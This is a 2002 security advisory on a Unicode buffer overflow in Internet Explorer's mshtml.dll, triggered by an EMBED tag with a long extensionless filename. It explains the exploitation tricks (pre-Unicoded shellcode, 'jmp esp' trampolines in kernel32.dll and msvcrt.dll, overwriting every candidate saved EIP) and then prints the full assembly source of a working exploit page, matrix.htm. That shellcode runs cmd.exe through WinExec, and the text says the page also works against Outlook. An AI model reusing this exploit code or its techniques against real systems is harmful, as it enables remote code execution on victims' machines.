Title 4/3/2002 Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC) Summary The following additional details for our previous article: Buffer Overflow Found in MSHTML.DLL explain how to exploit a buffer overflow vulnerability in Internet Explorer, whose exploit code is converted into Unicode (The technique is simple and involves the use of an already Unicoded exploit code). Details A security vulnerability has been discovered in Internet Explorer 5.5 and 6.0 where in some cases crash the program crashes upon receiving of an HTML Tag of the sorts of: (The EIP is overwritten by the address 0x41004100, a Unicode translation of the string AAAA...). The buffer overflow occurs when Internet Explorer tries to concatenate the file extension to "Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappingOverride\" with wcscat(). There is another input validation bug in Internet Explorer, it fails to detect if a file has no extension. It fails since it first looks for dot, when found it treats everything after that dot as an extension. Therefore, it is possible to overflow an internally used buffer with a long filename whenever it has no extension. Exploit code: There are few problems for one who wants to create exploit: 1. All data is converted to Unicode, that is 'A' will be converted to 0x0041. 2. Address of shell code will be different depending on number of open Internet Explorer windows, Windows and Internet Explorer version and patches installed. 3. There are different offset of a saved EIP in the stack when the attacked Internet Explorer is versioned before and after IE5.5SP2. One of the first Unicode overflows found in the wild was for the vulnerability in IIS ISAPI filter found by eEye (http://eeye.com/html/Research/Advisories/AD20010618.html). They failed to make working exploit, saying exploiting of this kind of bug is hard. This bug was successfully exploited by hsj and later by authors of CodeRed worm. It brings us to the fact: EXPLOITATION OF UNICODE OVERFLOWS IS EASY. There is easy way to bypass conversion of the shell code to Unicode: it should be in Unicode already. It was a trick used by CodeRed (wonderful analysis of CodeRed was made by Andrey Kolishak in http://www.security.nnov.ru/articles/codered/). 3APA3A wrote about Unicode HTMLs in Bypassing content filtering software (in fact, that article was released to prevent possible ! Andrey pointed to an easy (and well-known) way to avoid the second problem - hard cod your shell code address. Instead of overwriting saved EIP with an address of our shell code we can use indirect jump - first overwrite your EIP with the address of the instruction in memory space of some DLL which will jump back to our code via EBP or ESP (EBP should be used when exploiting format strings). We found a "jmp esp" (FFE4) in all versions of kernel32.dll and in one version of msvcrt.dll (6.10.8924.0). This version of DLL does not depend on Internet Explorer and is present in most installation of Windows NT 4.0 and Windows 2000 that were checked (unfortunately it does not exist in Windows 95/98/ME/XP). Third problem was solved by overwriting all possible EIPs, using a few noops and call xxxx ... xxxx: pop ebp Combination to get the exact address of our shell code. Since exploit is in Unicode we may do not care about '\0' (0x0000, 0xFFFF are prohibited and we have to care about calls and far jumps) so, we created a large shell code with visual effects. Resulting HTML (will work with msvcrt.dll 6.10.8924.0 and does not depend on mshtml.dll version, program used, and Windows version) can be obtained from http://www.security.nnov.ru/files/iebo/matrix.htm Same file (properly encoded to UTF-7, UTF-8, quoted-printable or base64) may be used to exploit Outlook Express/Outlook (We have just noticed that under Windows 2000, the terminal window sometimes is opened in background and you need to switch). Below is source code for matrix.htm: -=-=-=-=-=-=-=-=- begin matrix.asm -=-=-=-=-=-=-=-=- ; ; matrix.asm - source code for matrix.htm ; ; build: ; tasm matrix.asm /m2 ; tlink matrix.obj, matrix.htm /t /3 ; ; Authors: ; ERROR: bug discovery ; 3APA3A: idea and coding ; OFFliner: matrix effects and undocumented Windows API ; ; Thanx to Andrey Kolishak for indirect esp jump idea ; ; you can obtain matrix screensaver from ; http://www.security.nnov.ru/matrix ; ; ; eipjmp: overwrites saved EIP for all versions of ; mshtml.dll ; espjmp: gets control after jmp esp and calls code1 ; code1: restores EIP from stack after call to ebp ; does some actions and jumps to code2 ; code2: does the rest of actions datap equ (DataTable+080h) hKernel32 equ LoadL-datap cCur equ StringTable-datap SetCCH equ StringTable+4-datap GetSH equ StringTable+8-datap Sleep equ StringTable+12-datap WriteC equ StringTable+16-datap AllocC equ StringTable+20-datap SetCDM equ StringTable+24-datap SetCTA equ StringTable+28-datap SetCCI equ StringTable+32-datap WinE equ StringTable+36-datap ExitP equ StringTable+40-datap hStdOut equ StringTable+48-datap dwOldMode equ cCur conCur equ StringTable+52-datap cls equ StringTable+56-datap DWNumChar equ StringTable+60-datap RegHK equ user-datap .386 _faked segment para public 'CODE' use32 assume cs:_faked start: _faked ends _main segment para public 'DATA' use32 assume cs:_main prefix: begin db 0ffh,0feh ;Unicode prefix db "<",0,"e",0,"m",0,"b",0,"e",0,"d",0,0dh,0 db "s",0,"r",0,"c",0,"=",0,34,0 db "h",0,"t",0,"t",0,"p",0,":",0,"/",0,"/",0 db "w",0,"w",0,"w",0,".",0 db "s",0,"e",0,"c",0,"u",0,"r",0,"i",0,"t",0,"y",0,".",0 db "n",0,"n",0,"o",0,"v",0,".",0,"r",0,"u",0 db "/",0,"f",0,"i",0,"l",0,"e",0,"s",0,"/",0 db "i",0,"e",0,"b",0,"o",0,"/",0,"X",0 db "!(c)3APA3A" db 22 dup(090h) code1: pop ebp mov esp,ebx xor eax,eax dataoffset = DataTable - code2 ebpdiff = 80h + dataoffset mov ax,ebpdiff add ebp,eax ;ebp points to data lea eax,[ebp+user-datap] push eax mov ebx,[ebp+LoadL-datap] mov eax,[ebx] mov [ebp+LoadL-datap],eax call eax ;LoadLibraryA("user32.dll") lea ebx,[ebp+reg-datap] push ebx push eax mov ebx,[ebp+GetPA-datap] mov eax,[ebx] mov [ebp+GetPA-datap],eax call eax ;GetProcAddress(.,"RegisterHotKey") mov [ebp+RegHK],eax lea edi,[ebp+rhk-datap] movzx esi,byte ptr[edi] LoopHotkey: inc edi xor eax,eax mov al,[edi] push eax inc edi mov al,[edi] push eax inc edi mov al,[edi] push eax xor eax,eax push eax call [ebp+RegHK] dec esi or esi,esi jnz LoopHotKey lea eax,[ebp+StringTable-datap] ;string "kernel32.dll" push eax call [ebp+LoadL-datap] ;LoadLibraryA("kernel32.dll") mov [ebp+hKernel32],eax ;hKernel32 = lea eax, [ebp+SetCCH] mov [ebp+cCur],eax ;*cCur = SetCCH lea edi,[ebp+funcnum-datap] movzx esi,byte ptr[edi] ;esi=funcnum inc edi LoopResolve: push edi push dword ptr [ebp+Hkernel32] call [ebp+GetPA-datap] ;GetProcAddress(edi) mov ebx,[ebp+cCur] mov [ebx],eax ;save func address xor ecx,ecx mov cl,4 add ebx,ecx mov [ebp+cCur],ebx ;cCur+=4 not ecx xor eax,eax repnz scasb ;find \0 dec esi or esi,esi jnz LoopResolve call [ebp+AllocC] ;AllocConsole() push eax ;nonzero if succeed xor eax,eax push eax call [ebp+SetCCH] ;SetConsoleCtrlHandler(NULL,TRUE) xor eax,eax not eax sub al,0Ah push eax call [ebp+GetSH] ;GetStdHandle(STD_OUTPUT_HANDLE) mov [ebp+hStdOut],eax ;hStdOut= lea eax,[ebp+dwOldMode] push eax xor ebx,ebx inc ebx push ebx push dword ptr [ebp+hStdOut] call [ebp+SetCDM] ;SetConsoleDisplayMode(hStdOut, 1, &dwOldMode) xor ebx,ebx mov bl,0Ah push ebx push dword ptr [ebp+hStdOut] call [ebp+SetCTA] ;SetConsoleTextAttribute(hStdOut,FOREGROUND_INTENSITY|FOREGROUND_GREEN) xor ebx,ebx mov [ebp+ConCur+4],ebx ;ConCur.bVisible = 100 mov bl, 100 mov [ebp+ConCur],ebx ;ConCur.dwSize = 0 lea eax, [ebp+ConCur] push eax push dword ptr [ebp+hStdOut] call [ebp+SetCCI] ;SetConsoleCursorInfo(hstdOut,&ConCur) xor eax,eax mov ax,1000 push eax call[ebp+Sleep] ;Sleep(1000); xor ebx,ebx mov bl, string-datap mov eax,ebp add eax,ebx mov [ebp+cCur],eax ;cCur = string mov eax,ebp mov bx,datap-empty_string sub eax,ebx mov [ebp+cls],eax ;set address of empty_string LOOP1: ;do do xor eax,eax push eax lea ebx,[ebp+DWNumChar] push ebx inc eax push eax mov eax,[ebp+cCur] push eax push dword ptr [ebp+hStdOut] call [ebp+WriteC] ;WriteConsole(hStdOut,(void*)cCur,1,&DWNumChar,NULL); xor eax,eax mov al,100 mov ecx,[ebp+cCur] mov bl,[ecx] sub bl,20 jnz N1 mov ax,400 N1: mov bl,[ecx] sub bl,8 jnz N2 mov ax,2100 N2: push eax call [ebp+Sleep] ;Sleep((*cCur==' ')?400:(*cCur=='\b')?2100:100) mov ecx,[ebp+cCur] inc ecx mov [ebp+cCur],ecx ;++cCur mov bl,[ecx] sub bl,9 jnz LOOP1 ;while(*cCur!='\t'); call [ebp+cls] mov ecx,[ebp+cCur] inc ecx mov [ebp+cCur],ecx ;++cCur mov bl,[ecx] sub bl,00Ah jnz LOOP1 ;while(*cCur!='\n'); inc ecx xor eax,eax push eax lea ebx,[ebp+DWNumChar] push ebx mov al,18 push eax push ecx push dword ptr [ebp+hStdOut] jmp code2 codelength = $ - begin neednoops = 1d4h - codelength db neednoops dup(090h) eipjmp: dd 78024e02h dd 78024e02h dd 78024e02h dd 78024e02h dw 9090h dd 78024e02h ;EIP for IE < 55SP2 espjmp: db 18 dup(090h) xor eax,eax ;ESP comes here mov ax,0170h mov ebx,esp sub ebx,eax call ebx code2: call [ebp+WriteC] xor eax,eax mov ax,4000 push eax call [ebp+Sleep] call [ebp+cls] lea eax,[ebp+cmdexe-datap] push eax push eax call [ebp+WinE] xor eax,eax push eax call [ebp+ExitP] empty_string: ; some code can be pasted here xor eax,eax mov ax,1000 push eax call [ebp+Sleep] ;Sleep(1000) xor eax,eax push eax lea ebx,[ebp+DWNumChar] push ebx mov al,30 push eax lea eax,[ebp+empty-datap] push eax push dword ptr [ebp+hStdOut] call [ebp+WriteC] ret DataTable: LoadL dd 780330d0h ;LoadLibraryA import table entry GetPA dd 780330cch ;GetProcAddress import table entry StringTable: db "kernel32.dll",0 funcnum db 10 db "SetConsoleCtrlHandler",0 db "GetStdHandle",0 db "Sleep",0 db "WriteConsoleA",0 db "AllocConsole",0 db "SetConsoleDisplayMode",0 db "SetConsoleTextAttribute",0 db "SetConsoleCursorInfo",0 db "WinExec",0 db "ExitProcess",0 user db "user32.dll",0 reg db "RegisterHotKey",0 cmdexe db "cmd.exe",0 rhk db 5 db 9,1,100,01bh,1,101,13,1,102,05dh,8,103,3,2,104 empty db 00dh,28 dup(020h),00dh,0 string db 00dh," Wake Up, Neo...",00dh,009h,0 db 00dh," The Matrix has you...",00dh,009h,0 db 00dh," Follow the White Rabbit.",00dh,008h,009h,00ah,0 db 00dh," Knock, knock...",00dh,0 padding db 32 suffix: db 34,0,">",0,00ah copy db "(c) 2002 by 3APA3A, ERRor, OFFLiner" _main ends end start -=-=-=-=-=-=-=-=- end matrix.asm -=-=-=-=-=-=-=-=-